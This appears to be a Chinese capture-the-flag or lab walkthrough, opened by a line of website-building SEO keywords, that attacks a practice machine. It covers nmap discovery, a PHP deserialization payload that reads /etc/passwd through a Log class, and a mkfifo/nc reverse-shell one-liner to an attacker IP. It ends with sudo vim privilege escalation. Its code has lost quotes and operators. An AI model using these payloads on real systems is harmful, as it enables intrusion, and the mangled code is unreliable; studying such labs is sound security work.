南沙网站建设优化,网站开发相关书籍资料,如何更换网站模板,app电商网站1.创建虚拟机 2.渗透测试过程
探测主机存活#xff08;目标主机IP地址#xff09;
使用nmap探测主机存活或者使用Kali里的netdicover进行探测
-PS/-PA/-PU/-PY:这些参数即可以探测主机存活#xff0c;也可以同时进行端口扫描。#xff08;例如#xff1a;-PS#xff0…1.创建虚拟机 2.渗透测试过程
探测主机存活目标主机IP地址
使用nmap探测主机存活或者使用Kali里的netdicover进行探测
-PS/-PA/-PU/-PY:这些参数即可以探测主机存活也可以同时进行端口扫描。例如-PS发送TCP SYN包进行主机探测 访问 首先访问80端口 F12查看源代码那我们查看cookie O:4:User:2:{s:10: User name;s:3:sk4;s:9: User wel;O:7:Welcome:0:{}}
o代表存储的是对象object如果传入的是一个数组那它会变成字母a。
4表示对象的名称有4个字符。User表示对象名称刚好是4个字符。
2表示有2个值
s表示字符串数字表示字符串的长度s:10: User name;使用工具进行扫描这里扫到一个/backup/目录 打开查看是一个zip文件下载查看是三个源代码文件 通过代码审计得知首先index.php文件包含了user.class.php文件对cookie中的user参数进行了序列化和base64编码然后user.class.php文件包含了log.class.php且定义了两个类分别是Welcome和User并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log且handler函数对变量还进行了文件包含和输出 构造payload
?phpclass Log {private $type_log /etc/passwd;}class User {private $name admin;private $wel;function __construct() {$this-wel new Log();}
}
$obj new User();
echo base64_encode(serialize($obj));抓包 Get shell
生成一个shell 放在www下9.txt 然后构造payload尝试读取passwd文件payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马
?phpclass Log {private $type_log /etc/passwd;}class User {private $name admin;private $wel;function __construct() {$this-wel new Log();}
}
$obj new User();
echo base64_encode(serialize($obj)); 改为本机的www下的 将生成的64编码放到重放器中 输入 rm/tmp/f%3bmkfifo/tmp/f%3bcat/tmp/f|/bin/sh-i2%261|nc192.168.87.1287777/tmp/f kali监听成功 查看文件多返回几次上级目录找到一个txt文件 查看得到账号密码 远程连接 成功进入 尝试提权试试sudo vim进入到命令模式输入!bash 提权成功